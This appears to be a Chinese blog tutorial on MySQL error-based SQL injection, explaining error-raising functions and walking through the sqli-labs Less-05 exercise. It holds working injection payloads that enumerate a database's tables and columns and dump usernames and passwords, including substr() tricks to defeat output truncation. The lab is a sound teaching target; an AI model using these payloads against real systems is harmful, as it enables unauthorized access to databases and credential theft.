yukiの宝藏之地
👥累计访客:--
首页项目归档照片墙音乐灵境说说杂谈友链关于
封面👁--阅读

SQL 注入 03:报错注入(Less-05)

写作时间:2026-09-05 20:01:44
更新时间:2026-09-05 21:14:40
# CTF
# MySQL
# sql注入

这篇文章讲报错注入的原理、常见报错函数,以及 sqli-labs 的 Less-05(extractvalue() 报错注入)题解。


1. 为什么需要报错注入

前面讲 UNION 联合查询注入时提到过一个关键前提:页面必须有数据回显。我们构造的 union select 执行之后,返回的数据得落在页面上某个能看见的位置,才有办法把数据库里的信息一步步读出来。

但这个前提在实战中并不永远成立。很多存在注入漏洞的页面,后台的处理逻辑是:

  • SQL 执行成功 → 只返回"查询成功"或者干脆什么提示都没有
  • SQL 执行失败 → 页面直接报错,把数据库返回的错误信息原样展示出来

这类页面的共同特点是:看不到任何具体的查询结果数据,但看得到报错信息。

如果照搬 UNION 注入的思路,即使把注入类型、闭合方式、字段数都判断得清清楚楚,union select 也能正常执行并拿到数据,问题出在最后一步——这些数据没有任何地方可以显示出来。页面压根不存在一个能回显查询结果的位置,UNION 注入的整套流程就跑不下去了。

可以类比这样一个场景:你去银行柜台办业务,柜员的系统规定不管查询结果是什么,屏幕都不会显示具体内容,柜员只会告诉你"处理成功"或"处理失败"——你根本套不出任何信息,这就相当于没有回显。但假如系统有个"槽点":一旦报错,会弹出详细的错误弹窗,把出错的具体原因、涉及的数据字段都打印出来,柜员为了解释情况直接把这个报错弹窗念给你听。这时候,如果你能想办法故意让系统在"查询你想要的信息"的过程中报错,并且让这条报错信息里恰好包含了你想知道的内容——比如报错写着"客户 XX 的账户余额 XX 格式异常"——你就等于绕开了"系统不显示结果"这道墙,靠"系统会显示错误详情"这条缝隙把信息套了出来。

报错注入的逻辑跟这个类比完全一致:页面不给你看正常结果,但它会把报错信息原样念出来,我们就想办法让报错信息里"顺带"说出我们想要的数据。

用户在前台页面输入检索内容
        ↓
后台将输入内容不加区分地拼接成 SQL 语句,交给数据库执行
        ↓
数据库将执行结果返回给后台
        ↓
后台将执行结果不加区分地显示到前台页面上

正是因为后台在"拼接输入"和"显示结果"这两个环节都缺乏过滤和校验,我们不仅能让输入的内容影响 SQL 语句的执行逻辑,还能借助数据库自身的报错机制,把想要的数据伪装进报错信息里,再借助后台"不加区分地显示"这个特性,让它出现在页面上。


2. 常见报错函数

报错注入能用的函数有很多,但核心原理都是一样的:利用某个函数在处理特定输入时会抛出异常,并且这个异常信息里会包含我们插入的数据。

1. floor() 报错注入

floor() 本身是取整函数,单独用不会报错。报错注入利用的是它和 rand()、count()、group by 组合使用时,在 MySQL 特定版本里存在的一个已知 bug——当 group by 依据一个包含 rand() 的表达式分组时,rand() 会被计算两次,导致虚拟临时表在插入主键时发生冲突,从而报出主键重复的错误,报错信息里会带上我们拼接进去的内容。

典型结构:

select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x;

报错信息类似:

Duplicate entry 'security1' for key 'group_key'

database() 查出来的库名,就这样被拼进了报错文本里。

2. extractvalue() 报错注入(本文先讲这个)

extractvalue(xml_doc, xpath_string) 是 MySQL 用来在 XML 文档中按 XPath 语法查找节点的函数。它要求第二个参数必须是合法的 XPath 格式,如果故意传入一个不合法的字符串(比如在前面加上 ~ 这种 XPath 语法不允许的符号),函数就会报错,并且把这个不合法的字符串原样打印在报错信息里。

典型结构:

select extractvalue(1,concat(0x7e,(select database()),0x7e));

0x7e 是十六进制的 ~ 符号,作用是制造一个 XPath 语法不认识的开头,从而触发报错,同时把 database() 查出来的内容夹在中间一起显示出来。
concat 是把 0x7e 和 select database() 的结果拼接起来。
比如如果 database() 的结果是 security ,那么拼接后就是 ~security,extractvalue() 不认识这种写法,就会将解析后的结果直接返回到前端,你也就可以看见 ~security 这个结果。结合之前 union 注入的

3. updatexml() 报错注入

原理和 extractvalue() 几乎一样。updatexml(xml_doc, xpath_string, new_value) 是用来更新 XML 文档中某个节点内容的函数,同样要求第二个参数符合 XPath 格式。构造一个非法的 XPath 字符串,就能触发报错并携带数据。

典型结构:

select updatexml(1,concat(0x7e,(select database()),0x7e),1);

这两个函数几乎可以互换使用,效果相同。

上面三条是最常见的,在CTF比赛中几乎只会用到这三条,下面的几种类型可以作为了解

4. name_const() 报错注入

name_const(name, value) 本来是用来给一个值起别名的函数。如果在同一条语句里对同一个别名进行两次 union select,会导致 MySQL 判断出现"字段名重复"的冲突而报错,报错信息里会带出我们设置的那个"别名"内容。

select * from (select name_const(database(),1),name_const(database(),1))x;

5. join() 报错注入

原理和 floor() 类似,也是利用 rand() 在分组统计时被计算两次、导致临时表主键冲突的特性,只是换了一种触发方式,通过多表 join 配合子查询触发同样的重复键报错。

select * from (select 1 union select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a;

6. exp() 报错注入

exp() 是求自然指数的函数,当传入的值超过 MySQL 能表示的浮点数范围时会触发 DOUBLE overflow(浮点数溢出)报错。构造方式是让 exp() 的参数依赖于我们想查询的内容,通过控制传入值的大小让它必然溢出。

select exp(~(select * from(select user())x));

~ 是按位取反运算符,配合 exp() 制造一个必然超出范围的极大值,从而触发溢出报错。

7. 几何函数系列

geometrycollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring() 都属于 MySQL 的空间几何数据类型构造函数。它们的共同特点是:参数必须符合特定的几何对象格式,如果传入一个不符合格式的字符串(比如一个子查询的结果),就会因为格式不匹配而报错,报错信息中会包含这个不合法的参数内容。

select geometrycollection((select * from(select * from(select user())a)b));
-- 其余函数用法完全一致,只是换成对应的函数名
select polygon((select * from(select * from(select user())a)b));
select multipoint((select * from(select * from(select user())a)b));

之所以要嵌套三层子查询(select * from(select * from(select ...)a)b),是因为几何函数不接受直接的子查询作为参数,需要先把子查询结果转换成一个"派生表",再从派生表里取值传给几何函数——这是绕过语法限制的固定写法。

总结

函数 触发报错的原理
floor() + rand() + group by 分组时 rand() 被计算两次,导致临时表主键冲突
extractvalue() XPath 语法非法
updatexml() XPath 语法非法
name_const() 字段别名重复冲突
join() 与 floor() 原理相同,触发方式不同
exp() 数值溢出(DOUBLE overflow)
几何函数系列 参数不符合几何对象格式

[!tip]
一般来说我们只用前三个(floor、extractvalue、updatexml),实战中最常用的是 extractvalue() 和 updatexml(),因为结构简单、不挑 MySQL 版本。


Less-05 extractvalue() 报错注入

信息收集

进入 Less-05,传入 ?id=1,页面只显示 You are in...........——没有数据回显了。

试试其他的,传入 ?id=1':

You have an error in your SQL syntax; ... near ''1'' LIMIT 0,1' at line 1

报错了,说明是字符型,闭合符号是 '。验证闭合:

?id=1' --+

页面恢复 You are in...........,闭合确认。

接着判断字段数,使用 group by / order by:

?id=1' group by 3 --+   → 正常
?id=1' group by 4 --+   → 报错 Unknown column '4'

4 报错 3 不报,字段数为 3(不过在报错注入里其实不需要知道字段数)。

这一步也可以直接使用 union select 1,2,3,... 如果字段数不对则会报错:
The used SELECT statements have a different number of columns

经过信息收集我们发现,这道题的特点是:正确无回显,报错有回显——正中报错注入的应用场景。

extractvalue() 函数

extractvalue() 是 MySQL 里的 XML 查询函数,作用是:从一段 XML 内容中,按照 XPath 路径取出指定节点的值。基本语法:

extractvalue(XML_document, XPath_string)
  • XML_document:要解析的 XML 内容
  • XPath_string:要查询的 XPath 路径

比如有一段 XML:

<user>
  <id>1</id>
  <username>admin</username>
</user>

想取出 username 节点的内容:

select extractvalue(
  '<user><id>1</id><username>admin</username></user>',
  '/user/username'
);
-- 返回:admin

但如果第二个参数(XPath 路径)写错了,MySQL 就会直接报错:

select extractvalue(
  '<user><id>1</id><username>admin</username></user>',
  '~test~'
);
-- 报错:XPATH syntax error: '~test~'

也就是说,extractvalue() 报错时,会把错误的 XPath 内容带出来——这就是它能被用来做报错注入的原因。既然错误信息会显示第二个参数,那我们就可以把想查询的内容拼到第二个参数里。

‍

开始注入

爆数据库名

?id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+

页面报错:

XPATH syntax error: '~security~'

库名 security 就这样被夹在两个 ~ 中间带了出来。

爆表名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) --+

爆列名

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) --+

爆破列名的时候就会发现输出被 extractvalue() 截断了(只保留32个字符),可以利用substr() / substring() 分批输出某一段的内容。

substr() 的语法是 substr(abcdefg,x,y) 其中第一个参数是一串字符串,第二个参数表示从第几个位置开始输出,第三个参数表示输出多少个字符。比如substr(abcdefg,3,2) 输出的就是cd 。

?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),40,30),0x7e)) --+

也就是在内层 select 外面加上 substr(xxxx,40,30) # 数字自己看情况定

substr((select group_concat(column_name) from information_schema.columns where table_name='users'),40,30)

爆字段

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) --+

extractvalue() 的报错回显最多显示 32 个字符,如果数据太长会被截断。可以配合 substr() 分段读取:

?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,30),0x7e)) --+

?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),31,30),0x7e)) --+

......

另外报错注入一次只能带出一行结果,查具体数据时通常要用 limit 0,1、limit 1,1 逐行读取。

‍

报错注入的局限

报错注入依旧存在局限:必须存在回显。这里的"回显"指的不是像 UNION 注入那样要求页面直接展示查询结果,而是要求页面能展示数据库的报错信息。

反过来,如果页面把所有报错信息都屏蔽掉了,无论 SQL 执行成功还是失败,前端展示的内容都一样(比如统一提示"系统繁忙,请稍后再试"),报错注入这条路就走不通了,需要考虑盲注等其他方式。


总结

  • 报错注入的适用场景:页面不回显查询结果,但会把 SQL 报错信息原样显示出来
  • 核心思路:故意构造会报错的 SQL 语句,让报错信息"顺带"携带我们想查的数据
  • 首选函数:extractvalue() 和 updatexml(),结构为 concat(0x7e, 子查询, 0x7e)
  • 局限:报错回显有长度限制(约 32 字符),需配合 substr() 分段;页面若屏蔽报错则走不通,需要考虑盲注

‍

avatar

Yuki

在代码、学术与网安间穿梭的普通人。

RECOMMENDED

分享我的博客搭建与部署~

2026-08-18 20:37:28

MySQL 数据库操作指令

2026-08-19 23:30:13

SQL 注入 02:Less-3、Less-4

2026-09-01 02:24:50

Table of Contents